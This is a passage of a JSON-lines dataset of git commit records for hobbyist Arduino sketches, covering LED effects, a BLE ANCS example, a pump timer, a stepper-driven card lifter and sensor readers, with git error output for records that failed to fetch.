== 49){\n \n colorWipe(Color(0, 63, 0), 50);\n \n }else if(ind == 50){\n knightRider(2);\n \n }else if(ind == 51){\n knightRider(0);\n \n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'yunLed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fed7ecf58a4f0501cd1abbafc9f1e2abe380610f","subject":"- initial ANCS example","message":"- initial ANCS example\n","repos":"sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral","old_file":"examples\/ancs\/ancs.ino","new_file":"examples\/ancs\/ancs.ino","new_contents":"\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEPeripheral.h>\n\n#include <BLEUtil.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 6\n#define BLE_RDY 7\n#define BLE_RST 4\n\n\/\/ create peripheral instance, see pinouts above\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\nBLEBondStore bleBondStore;\n\n\/\/ local services\nBLEService batteryService = BLEService(\"180f\");\n\n\/\/ local characteristics\nBLEUnsignedCharCharacteristic batteryLevelCharacteristic = BLEUnsignedCharCharacteristic(\"2a19\", BLERead);\n\n\/\/ remote services\nBLERemoteService ancsService = BLERemoteService(\"7905f431b5ce4e99a40f4b1e122d00d0\");\n \n\/\/ remote characteristics\nBLERemoteCharacteristic ancsNotificationSourceCharacteristic = BLERemoteCharacteristic(\"9fbf120d630142d98c5825e699a21dbd\", BLENotify);\nBLERemoteCharacteristic ancsControlPointCharacteristic = BLERemoteCharacteristic(\"69d1d8f345e149a898219bbdfdaad9d9\", BLEWrite);\nBLERemoteCharacteristic ancsDataSourceCharacteristic = BLERemoteCharacteristic(\"22eac6e924d64bb5be44b36ace7c7bfb\", BLENotify);\n\n\nvoid setup() {\n Serial.begin(9600);\n#if defined (__AVR_ATmega32U4__)\n while(!Serial);\n#endif\n\n \/\/ clears bond data on every boot\n\/\/ bleBondStore.clearData();\n \n blePeripheral.setBondStore(bleBondStore);\n\n blePeripheral.setAdvertisedServiceUuid(ancsService.uuid());\n blePeripheral.setLocalName(\"ANCS\");\n\n \/\/ set device name and appearance\n blePeripheral.setDeviceName(\"Arduino ANCS\");\n blePeripheral.setAppearance(0x0080);\n\n \/\/ add service, characteristic, and decriptor to peripheral\n blePeripheral.addAttribute(batteryService);\n blePeripheral.addAttribute(batteryLevelCharacteristic);\n \n blePeripheral.addRemoteAttribute(ancsService);\n blePeripheral.addRemoteAttribute(ancsNotificationSourceCharacteristic);\n blePeripheral.addRemoteAttribute(ancsControlPointCharacteristic);\n blePeripheral.addRemoteAttribute(ancsDataSourceCharacteristic);\n \n batteryLevelCharacteristic.setValue(100);\n \n \/\/ assign event handlers for connected, disconnected to peripheral\n blePeripheral.setEventHandler(BLEConnected, blePeripheralConnectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, blePeripheralDisconnectHandler);\n\n \/\/ assign event handlers for characteristic\n ancsNotificationSourceCharacteristic.setEventHandler(BLEValueUpdated, ancsNotificationSourceCharacteristicValueUpdated);\n ancsDataSourceCharacteristic.setEventHandler(BLEValueUpdated, ancsDataSourceCharacteristicCharacteristicValueUpdated);\n\n \/\/ begin initialization\n blePeripheral.begin();\n\n Serial.println(F(\"BLE Peripheral - ANCS\"));\n}\n\nvoid loop() {\n blePeripheral.poll();\n}\n\nvoid blePeripheralConnectHandler(BLECentral& central) {\n \/\/ central connected event handler\n Serial.print(F(\"Connected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid blePeripheralDisconnectHandler(BLECentral& central) {\n \/\/ central disconnected event handler\n Serial.print(F(\"Disconnected event, central: \"));\n Serial.println(central.address());\n}\n\nenum AncsNotificationEventId {\n AncsNotificationEventIdAdded = 0,\n AncsNotificationEventIdModified = 1,\n AncsNotificationEventIdRemoved = 2\n};\n\nenum AncsNotificationEventFlags {\n AncsNotificationEventFlagsSilent = 1,\n AncsNotificationEventFlagsImportant = 2,\n AncsNotificationEventFlagsPositiveAction = 4,\n AncsNotificationEventFlagsNegativeAction = 8\n};\n\nenum AncsNotificationCategoryId {\n AncsNotificationCategoryIdOther = 0,\n AncsNotificationCategoryIdIncomingCall = 1,\n AncsNotificationCategoryIdMissedCall = 2,\n AncsNotificationCategoryIdVoicemail = 3,\n AncsNotificationCategoryIdSocial = 4,\n AncsNotificationCategoryIdSchedule = 5,\n AncsNotificationCategoryIdEmail = 6,\n AncsNotificationCategoryIdNews = 7,\n AncsNotificationCategoryIdHealthAndFitness = 8,\n AncsNotificationCategoryIdBusinessAndFinance = 9,\n AncsNotificationCategoryIdLocation = 10,\n AncsNotificationCategoryIdEntertainment = 11\n};\n\nstruct AncsNotification {\n unsigned char eventId;\n unsigned char eventFlags;\n unsigned char catergoryId;\n unsigned char catergoryCount;\n unsigned long notificationUid;\n};\n\nvoid ancsNotificationSourceCharacteristicValueUpdated(BLECentral& central, BLERemoteCharacteristic& characteristic) {\n Serial.println(F(\"ANCS Notification Source Value Updated:\"));\n struct AncsNotification notification;\n \n memcpy(¬ification, characteristic.value(), sizeof(notification));\n \n Serial.print(\"\\tEvent ID: \");\n Serial.println(notification.eventId);\n Serial.print(\"\\tEvent Flags: 0x\");\n Serial.println(notification.eventFlags, HEX);\n Serial.print(\"\\tCategory ID: \");\n Serial.println(notification.catergoryId);\n Serial.print(\"\\tCategory Count: \");\n Serial.println(notification.catergoryCount);\n Serial.print(\"\\tNotification UID: \");\n Serial.println(notification.notificationUid);\n \n\/\/ BLEUtil::printBuffer(characteristic.value(), characteristic.valueLength());\n}\n\nvoid ancsDataSourceCharacteristicCharacteristicValueUpdated(BLECentral& central, BLERemoteCharacteristic& characteristic) {\n Serial.print(F(\"ANCS Data Source Value Updated: \"));\n \n BLEUtil::printBuffer(characteristic.value(), characteristic.valueLength());\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ancs\/ancs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d36b84f4341d36a6c45553a1c7fa7d147370fba8","subject":"add some arduino codes","message":"add some arduino codes\n","repos":"shevkunov\/workout,shevkunov\/workout,shevkunov\/workout,shevkunov\/workout","old_file":"arduino\/timer.cpp.ino","new_file":"arduino\/timer.cpp.ino","new_contents":"#include <Time.h> \n#include <Wire.h> \n#include <DS1307RTC.h>\n#include <time.h>\n#include <avr\/eeprom.h>\n\nconst int MOS_PIN = 2;\nuint8_t* DAYS_OFFSET = reinterpret_cast<uint8_t*>(1);\n\ntime_t convertToTime(String calTimestamp) {\n \/\/ Like 20180810T143000Z\n struct tm tm;\n Serial.println(\"Parsing :\" + calTimestamp);\n String year = calTimestamp.substring(0, 4);\n String month = calTimestamp.substring(4, 6);\n if (month.startsWith(\"0\")) {\n month = month.substring(1);\n }\n String day = calTimestamp.substring(6, 8);\n if (day.startsWith(\"0\")) {\n month = day.substring(1);\n }\n tm.tm_year = year.toInt();\n tm.tm_mon = month.toInt();\n tm.tm_mday = day.toInt();\n tm.tm_hour = calTimestamp.substring(9, 11).toInt();\n tm.tm_min = calTimestamp.substring(11, 13).toInt();\n tm.tm_sec = calTimestamp.substring(13, 15).toInt();\n\n time_t offset = time_t(60) * (60 * (24 * (365 * time_t(35) + 139) - 5) - 24) - 16;\n return mktime(&tm) + offset;\n}\n\nvoid setup() {\n pinMode(MOS_PIN, OUTPUT);\n \n Serial.begin(9600);\n while (!Serial) ; \/\/ wait until Arduino Serial Monitor opens\n\n setSyncProvider(RTC.get); \/\/ the function to get the time from the RTC\n if(timeStatus()!= timeSet) \n Serial.println(\"Unable to sync with the RTC\");\n else\n Serial.println(\"RTC has set the system time\"); \n}\n\nvoid pump(const int t) {\n digitalWrite(MOS_PIN, HIGH);\n delay(t);\n digitalWrite(MOS_PIN, LOW);\n}\n\nconst byte PUMP_HOUR = 16;\nconst byte PUMP_MIN = 51;\nconst byte PUMP_SEC_WIN = 5;\nconst int PUMP_DUR = 1500;\n\nbool checkPumpIsNeeded() {\n const byte len = eeprom_read_byte(DAYS_OFFSET);\n const byte today = day();\n\n for (size_t i = 1; i <= len; ++i) {\n const bool pumpToday = (today == eeprom_read_byte(DAYS_OFFSET + i));\n const bool inWindow = (hour() == PUMP_HOUR) && (minute() == PUMP_MIN) && (second() < PUMP_SEC_WIN);\n if (pumpToday && inWindow) {\n Serial.println(\"Avaiting for pumping...\");\n delay(PUMP_SEC_WIN * 1000); \/\/ passing through the window\n return true;\n }\n }\n\n return false;\n}\n\nvoid loop()\n{\n time_t lastPrint = 0;\n while(true) {\n \n if (Serial.available()) {\n const String s = Serial.readString();\n const String cmd = s.substring(0, 2);\n \n if (cmd == \"ST\") {\n time_t newTime = convertToTime(s.substring(3, -1));\n RTC.set(newTime);\n setTime(newTime);\n } else if (cmd == \"BP\") {\n const int del = s.substring(3, -1).toInt();\n pump(del);\n } else if (cmd == \"SD\") {\n \/\/ set days\n \/\/ SD 01 02 10 - set array [01, 02, 10]\n size_t l = 3;\n size_t r;\n uint8_t i = 0;\n\n while (l < s.length()) {\n r = l;\n\n while (r < s.length() && s[r] != ' ') {\n ++r;\n }\n \n ++i;\n const uint8_t day = s.substring(l, r).toInt();\n Serial.println(day);\n eeprom_write_byte(DAYS_OFFSET + i, day);\n\n l = r + 1;\n }\n\n eeprom_write_byte(DAYS_OFFSET, i);\n\n } else if (cmd == \"GD\") {\n \/\/ get days\n const byte len = eeprom_read_byte(DAYS_OFFSET);\n\n Serial.print(\"Len:\");\n Serial.print(len);\n for (size_t i = 0; i < len; ++i) {\n Serial.print(\" \");\n Serial.print(eeprom_read_byte(DAYS_OFFSET + 1 + i));\n }\n Serial.println();\n } else {\n Serial.println(\"WC\");\n }\n }\n\n if (checkPumpIsNeeded()) {\n Serial.println(\"Pumping...\");\n pump(PUMP_DUR);\n }\n \n if (timeStatus() == timeSet) {\n digitalClockDisplay();\n } else {\n Serial.println(\"The time has not been set.\");\n delay(4000);\n }\n delay(1000);\n }\n}\n\nvoid digitalClockDisplay(){\n \/\/ digital clock display of the time\n Serial.print(hour());\n printDigits(minute());\n printDigits(second());\n Serial.print(\" \");\n Serial.print(day());\n Serial.print(\" \");\n Serial.print(month());\n Serial.print(\" \");\n Serial.print(year()); \n Serial.println(); \n}\n\nvoid printDigits(int digits){\n \/\/ utility function for digital clock display: prints preceding colon and leading 0\n Serial.print(\":\");\n if(digits < 10)\n Serial.print('0');\n Serial.print(digits);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/timer.cpp.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"da62dd690e6e480f08fb5aeed09659fc3cdb2f2c","subject":"Added ButtonParsing Tab Added struct for sticks","message":"Added ButtonParsing Tab\nAdded struct for sticks\n","repos":"joschal\/X2RP6","old_file":"ButtonParsing.ino","new_file":"ButtonParsing.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/joschal\/X2RP6.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"503d04b0c0e4d78845f88aa1701371799d58d635","subject":"start work","message":"start work\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/balconySation\/balconySation.ino","new_file":"modules\/balconySation\/balconySation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a8b768b43a6bc2342964de601c9f18ee9e27413","subject":"added Arduino based M2X example","message":"added Arduino based M2X example\n","repos":"attm2x\/m2x-serial-modem,attm2x\/m2x-serial-modem","old_file":"SerialModem\/examples\/ArduinoWithM2X\/ArduinoM2X.ino","new_file":"SerialModem\/examples\/ArduinoWithM2X\/ArduinoM2X.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/attm2x\/m2x-serial-modem.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d41f9bee07f185e64237202a187cb5976e2c9d98","subject":"the sketch folder","message":"the sketch folder\n","repos":"JoeSuber\/CardLifter","old_file":"Lifter\/Lifter.ino","new_file":"Lifter\/Lifter.ino","new_contents":"#include <AccelStepper.h>\n#include <Servo.h>\n\n\/\/ #defines are macros for faster than digitalWrite() read & write.\n\/\/ *http:\/\/masteringarduino.blogspot.com\/2013\/10\/fastest-and-smallest-digitalread-and.html\n\n#define portOfPin(P)\\\n (((P)>=0&&(P)<8)?&PORTD:(((P)>7&&(P)<14)?&PORTB:&PORTC))\n#define ddrOfPin(P)\\\n (((P)>=0&&(P)<8)?&DDRD:(((P)>7&&(P)<14)?&DDRB:&DDRC))\n#define pinOfPin(P)\\\n (((P)>=0&&(P)<8)?&PIND:(((P)>7&&(P)<14)?&PINB:&PINC))\n#define pinIndex(P)((uint8_t)(P>13?P-14:P&7))\n#define pinMask(P)((uint8_t)(1<<pinIndex(P)))\n\n#define pinAsInput(P) *(ddrOfPin(P))&=~pinMask(P)\n#define pinAsInputPullUp(P) *(ddrOfPin(P))&=~pinMask(P);digitalHigh(P)\n#define pinAsOutput(P) *(ddrOfPin(P))|=pinMask(P)\n#define digitalLow(P) *(portOfPin(P))&=~pinMask(P)\n#define digitalHigh(P) *(portOfPin(P))|=pinMask(P)\n#define isHigh(P)((*(pinOfPin(P))& pinMask(P))>0)\n#define isLow(P)((*(pinOfPin(P))& pinMask(P))==0)\n#define digitalState(P)((uint8_t)isHigh(P))\n\nconst boolean DEBUG = true; \/\/ send stuff to serial monitor for testing\n\nconst byte ledPin = 13; \/\/ on board LED\nconst byte holdPinArm = 12; \/\/ enable pins for stepper drivers\nconst byte holdPinLift = 11; \/\/ HIGH->disable, LOW->enables\nconst byte SERV1PIN = 10; \/\/ servo control pin\nconst byte PINST1_ST = 6; \nconst byte PINST1_DIR = 7;\nconst byte PINST2_ST = 4;\nconst byte PINST2_DIR = 5;\nconst byte REDLED = 9;\nconst byte GREENLED = 8;\nconst byte LIMIT_SW = 2; \/\/ should be a hardware interrupt pin\nconst byte LIMIT_ARM = 3; \nconst byte ONRESERVE = 32; \/\/ max byte length of serial-delivered string\nconst byte PROX_PIN = A0; \/\/ Analog prox. sensor Pin for card-stack-top\nconst byte CARD_PIN = A1; \/\/ Analog prox. for 'card on-board'\nconst int cardThickness = 141; \/\/ 141 steps to lift a card. 608steps\/turn\n \/\/ (20 turns per 86 cards, 141.3953 ...\nconst int proxSense2 = 800; \/\/ threshold for OPB606A riding on fan housing\nconst int liftSenseTop = 500; \/\/ above threshold nothing is close to face of OPB606A\nconst long int hoverArmPos = 5; \/\/ pick up postion after zeroing against armLimit\nconst long int firstArmPos = 142; \/\/ experimentally determined drop-off position\nconst long int secondArmPos = 280; \/\/ 2nd drop and max Arm travel\nconst byte lowAng = 147; \/\/ servo position: closest approach to card-stack\nconst byte midAng = 117; \/\/ servo position: move to clear roller\nconst byte highAng = 15; \/\/ servo postion:\nconst byte bumpBinSteps = 36; \/\/ for jiggle when grabTryCount goes up.\nconst byte servoPosition = 50; \/\/ initial safe servo position\nint newAnalog1 = 0; \/\/ hold value from the PROX_PIN sensor \nint newAnalog2 = 0; \/\/ hold value from the CARD_PIN sensor\nint oldAnalog1 = 0; \/\/ discover changes in the PROX_PIN sensor \nint oldAnalog2 = 0; \/\/ discover changes in the CARD_PIN sensor\nbyte grabTryCount = 0; \/\/ bump the bin to help the grabber \nString inputString = \"\";\nboolean LOADED = false;\nboolean ARMZEROED = false;\nboolean BACKINGOFF = false;\nunsigned long timeStart = 0;\nunsigned long timeCurrent = 0;\n\nAccelStepper stepperArm(AccelStepper::DRIVER, PINST1_ST, PINST1_DIR);\nAccelStepper stepperLift(AccelStepper::DRIVER, PINST2_ST, PINST2_DIR);\n\nconst long int liftUpToTop = -200000; \/\/ arbitrary rise until limit switch hit.\nconst int liftBackOff = 500; \/\/ back off the switch; zero is limit-switch position\n\nServo myserv;\n\nvolatile byte liftState = LOW;\nvolatile byte armState = LOW;\nvolatile boolean UPDATE = true; \/\/ flag for printing updated info\n\nvoid setup()\n{ \n myserv.attach(SERV1PIN); \n myserv.write(servoPosition);\n \n stepperLift.setMaxSpeed(1300.0);\n stepperLift.setAcceleration(900.0);\n stepperArm.setMaxSpeed(1400.0);\n stepperArm.setAcceleration(700.0);\n \n pinAsOutput(holdPinArm);\n pinAsOutput(holdPinLift); \n pinAsOutput(REDLED);\n pinAsOutput(GREENLED);\n pinAsInput(LIMIT_SW);\n pinAsInput(PROX_PIN);\n \n attachInterrupt(0, limitLift, CHANGE); \/\/ int.0 on pin 2\n attachInterrupt(1, limitArm, CHANGE); \/\/ int.1 on pin 3\n \n digitalLow(holdPinArm); \/\/ HIGH disables driver, LOW enables\n digitalLow(holdPinLift); \/\/ HIGH disables driver, LOW enables\n \n \/\/ glow red when any stepper is enabled: \n \/\/ digitalWrite(REDLED, (!digitalState(holdPinArm)) | (!digitalState(holdPinLift))); \n \n Serial.begin(115200);\n inputString.reserve(ONRESERVE);\n Serial.println(\"Setup: liftLimit Switch is \" + String(digitalState(LIMIT_SW)) + \"\\n\");\n Serial.println(\"Setup: armLimit Switch is \" + String(digitalState(LIMIT_ARM)) + \"\\n\");\n Serial.println(\"A0: \" + String(analogRead(PROX_PIN)));\n Serial.println(\"A1: \" + String(analogRead(CARD_PIN)));\n stepperLift.moveTo(liftUpToTop);\n stepperArm.moveTo(-1023);\n timeStart = millis();\n timeCurrent = millis();\n}\n\nvoid loop() {\n if (DEBUG) { \n digitalWrite(GREENLED, digitalState(LIMIT_SW)); \/\/ glow when free. in loop \n digitalWrite(REDLED, digitalState(LIMIT_ARM)); \/\/ glow when free. in loop\n }\n \n \/\/ only handles limiting if bin is mostly empty\n if ((liftState == HIGH) && (stepperLift.targetPosition() < 0)) {\n delay(5); \/\/ de-bounce the switch hopefully\n if (digitalState(LIMIT_SW)) {\n stepperLift.setCurrentPosition(0);\n delay(3); \/\/ deceleration \n stepperLift.moveTo(liftBackOff);\n BACKINGOFF = true;\n timeStart = millis();\n UPDATE = true;\n liftState = LOW;\n }\n }\n else if ((!liftState) && ((timeStart - millis()) > 1900)) \/\/ deals with switch hysterysis\n BACKINGOFF = false;\n else if ((liftState == HIGH) && (!BACKINGOFF)) { \/\/ stopping for unforseen reasons\n delay(4); \/\/ de-bounce\n if (digitalState(LIMIT_SW)) {\n stepperLift.stop(); \/\/ stop at maximum deceleration\n UPDATE = true; \/\/ report position\n liftState = LOW;\n }\n }\n \n \/\/ arm starts off moving towards limit switch in setup(), hits it, moves to ready-to-load \n if ((armState == HIGH) && (stepperArm.targetPosition() < 0)){\n delay(4); \/\/ de-bounce the switch hopefully\n if (digitalState(LIMIT_ARM)) {\n stepperArm.setCurrentPosition(0);\n delay(3); \/\/ deceleration allowance\n stepperArm.moveTo(firstArmPos);\n UPDATE = true;\n armState = LOW;\n }\n }\n \n newAnalog1 = analogRead(PROX_PIN);\n newAnalog2 = analogRead(CARD_PIN);\n \n fanDown(lowAng, midAng, highAng, firstArmPos); \/\/ auto-servo position based on bin and sensor threshold\n \n \/\/ loading by default, so moving down, one card at a time\n if (!LOADED){\n if ((newAnalog1 < liftSenseTop) && (stepperLift.distanceToGo() < cardThickness)) {\n stepperLift.moveTo(stepperLift.currentPosition() + cardThickness);\n }\n }\n \/\/ loaded? Then move upwards a little bit\n else if ((newAnalog1 > liftSenseTop) && (stepperLift.distanceToGo() < 1)) {\n stepperLift.moveTo(stepperLift.currentPosition() - cardThickness);\n }\n else if ((grabTryCount % 5) == 2)\n stepperLift.moveTo(stepperLift.currentPosition() - cardThickness);\n else if ((grabTryCount % 5) == 4)\n stepperLift.moveTo(stepperLift.currentPosition() + cardThickness);\n \n \/\/ track the analog sensors avoiding flutter values \n if (abs(oldAnalog1 - newAnalog1) > 40) {\n UPDATE = true;\n oldAnalog1 = newAnalog1;\n \/\/myserv.write(map(newAnalog1, 0, 1023, 40, 135)); \/\/ servo won't be slaved here unless testing\n }\n if (abs(oldAnalog2 - newAnalog2) > 40) {\n UPDATE = true;\n oldAnalog2 = newAnalog2;\n }\n \n stepperLift.run();\n stepperArm.run();\n\n if (UPDATE) {\n Serial.print(\"Liftpos: \" + String(stepperLift.currentPosition()) + \" Armpos: \" + String(stepperArm.currentPosition()));\n Serial.println(\" A0: \" + String(newAnalog1) + \" A1: \" + String(newAnalog2) + \" srvo: \" + String(myserv.read()));\n UPDATE = false;\n }\n \n \/\/ first character sent switches us into LOADED mode\n \/\/ 97=\"a\", 98=\"b\", 99=\"c\", 100=\"d\" \n if (Serial.available() > 0) { \n inputString = String(Serial.read());\n LOADED = true; \n Serial.println(\"Rx: \" + inputString);\n if (inputString == \"97\")\n stepperArm.moveTo(hoverArmPos);\n else if (inputString == \"98\")\n stepperArm.moveTo(firstArmPos);\n else if (inputString == \"99\")\n stepperArm.moveTo(secondArmPos);\n else if (inputString == \"100\") { \/\/ Reset into loading mode until another character sent\n stepperArm.moveTo(firstArmPos);\n LOADED = false;\n }\n inputString = \"\";\n } \n} \/\/end void-loop\n\n\/\/ interrupt function on pin 2, int.0\nvoid limitLift() { \n liftState = digitalState(LIMIT_SW);\n}\n\n\/\/ interrupt function on pin 3, int.1\nvoid limitArm() {\n armState = digitalState(LIMIT_ARM);\n}\n\n\/\/ trying for non-blocking servo with delay between actuation attempts...\nvoid fanDown(byte down, byte mid, byte drop, long int dropZone) {\n \/\/ go down to get card only if stopped in hover position over bin\n if ((millis() - timeStart) > 800){ \n if ((newAnalog2 > liftSenseTop) && (stepperArm.currentPosition() == hoverArmPos)) {\n myserv.write(down);\n timeStart = millis();\n grabTryCount += 1;\n }\n else if ((stepperArm.currentPosition() == dropZone) && (newAnalog2 < proxSense2)) {\n myserv.write(drop);\n timeStart = millis();\n grabTryCount = 0;\n }\n else if (myserv.read() != mid) {\n myserv.write(mid);\n timeStart = millis();\n }\n }\n}\n\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lifter\/Lifter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"467bd54a14d2cc086947fee8e81ddee7881bdd6d","subject":"Create testInterrupt.ino","message":"Create testInterrupt.ino","repos":"linuxmania\/base2clock","old_file":"testInterrupt.ino","new_file":"testInterrupt.ino","new_contents":"\nvolatile int state = HIGH;\n\nvoid setup()\n{\n pinMode(13, OUTPUT);\n attachInterrupt(0, blink, CHANGE);\n}\n\nvoid loop()\n{\n digitalWrite(13, state);\n}\n\nvoid blink()\n{\n state = !state;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testInterrupt.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f0c4027e6d5a6dbbc9c59ddc6e00391c662e402e","subject":"Add isnan on sht_44_dewpoint.","message":"Add isnan on sht_44_dewpoint.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"be3ad9a4d617cd9d068dc522cd28e41e91dd4306","subject":"Initial commit","message":"Initial commit\n\nFeel free to use. Still needs more testing","repos":"anidea\/fx300_sequence_detect,anidea\/fx300_sequence_detect","old_file":"fx300_sequence_detect.ino","new_file":"fx300_sequence_detect.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/anidea\/fx300_sequence_detect.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cefaee604d74d25f1c309ddf1d7c0b8e4a24d06e","subject":"added reading distance sensor","message":"added reading distance sensor\n","repos":"MMTLukas\/ngui,MMTLukas\/ma-ngui","old_file":"Ping\/Ping.ino","new_file":"Ping\/Ping.ino","new_contents":"\/* Ping))) Sensor\n \n This sketch reads a PING))) ultrasonic rangefinder and returns the\n distance to the closest object in range. To do this, it sends a pulse\n to the sensor to initiate a reading, then listens for a pulse \n to return. The length of the returning pulse is proportional to \n the distance of the object from the sensor.\n \n The circuit:\n \t* +V connection of the PING))) attached to +5V\n \t* GND connection of the PING))) attached to ground\n \t* SIG connection of the PING))) attached to digital pin 7\n *\/\n\n\/\/ Pin number of the sensor's output\nconst int pingPin = 7;\n\nvoid setup() {\n \/\/ initialize serial communication:\n Serial.begin(9600);\n}\n\nvoid loop(){\n triggerSensor();\n long distance = readSensor();\n printDistance(distance);\n \n delay(50);\n}\n\nlong readSensor(){\n \/\/ The same pin is used to read the signal from the PING))): a HIGH\n \/\/ pulse whose duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(pingPin, INPUT);\n long duration = pulseIn(pingPin, HIGH);\n \n \/\/ convert the time into a distance\n return microsecondsToCentimeters(duration);\n}\n\nvoid printDistance(long distance){\n Serial.print(distance);\n Serial.print(\"cm\");\n Serial.println();\n}\n\nvoid triggerSensor(){\n \/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(pingPin, OUTPUT);\n digitalWrite(pingPin, LOW);\n delayMicroseconds(2);\n digitalWrite(pingPin, HIGH);\n delayMicroseconds(5);\n digitalWrite(pingPin, LOW); \n}\n\nlong microsecondsToCentimeters(long microseconds)\n{\n \/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n \/\/ The ping travels out and back, so to find the distance of the\n \/\/ object we take half of the distance travelled.\n return microseconds \/ 29 \/ 2;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ping\/Ping.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27d3d9526ea6489619b23aac164bcbc39b488637","subject":"Add initial smoothing littleBits controller Arduino code","message":"Add initial smoothing littleBits controller Arduino code\n","repos":"techninja\/etch-a-bits","old_file":"littleBitsController\/littleBitsController.ino","new_file":"littleBitsController\/littleBitsController.ino","new_contents":"\/**\n * A super-simple littleBits serial controller Sketch.\n * Data is sent out of the serial port as pipe delimited\n * chunks, separated by newlines. Interpreted as \"[x]|[y]|[button]\".\n * See the whole project @ https:\/\/github.com\/techninja\/etch-a-bits\n *\n * Smoothing code adapted from Paul Badger's digitalSmooth\n * function example to help round out the analog data coming in\n * from the potentiometers.\n *\n * http:\/\/playground.arduino.cc\/Main\/DigitalSmooth\n *\/\n\n#define SensorPin1 0\n#define SensorPin2 1\n#define filterSamples 20 \/\/ filterSamples should be an odd number, no smaller than 3\nint sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1\nint sensSmoothArray2 [filterSamples]; \/\/ array for holding raw sensor values for sensor2\n\nint rawData1, smoothData1; \/\/ variables for sensor1 data\nint rawData2, smoothData2; \/\/ variables for sensor2 data\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(0, INPUT);\n}\n\nvoid loop() {\n\n rawData1 = analogRead(SensorPin1); \/\/ read sensor 1\n smoothData1 = digitalSmooth(rawData1, sensSmoothArray1); \/\/ every sensor you use with digitalSmooth needs its own array\n\n rawData2 = analogRead(SensorPin2); \/\/ read sensor 2\n smoothData2 = digitalSmooth(rawData2, sensSmoothArray2); \/\/ every sensor you use with digitalSmooth needs its own array\n\n \/\/ Output the data encoded in a single pipe delimited line.\n Serial.print(smoothData1);\n Serial.print('|');\n Serial.print(smoothData2);\n Serial.print('|');\n Serial.println(digitalRead(0));\n\n delay(15); \/\/ delay in between reads for stability\n}\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\n int j, k, temp, top, bottom;\n long total;\n static int i;\n static int sorted[filterSamples];\n boolean done;\n\n i = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\n sensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting\n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for (j = 0; j < (filterSamples - 1); j++){\n if (sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = 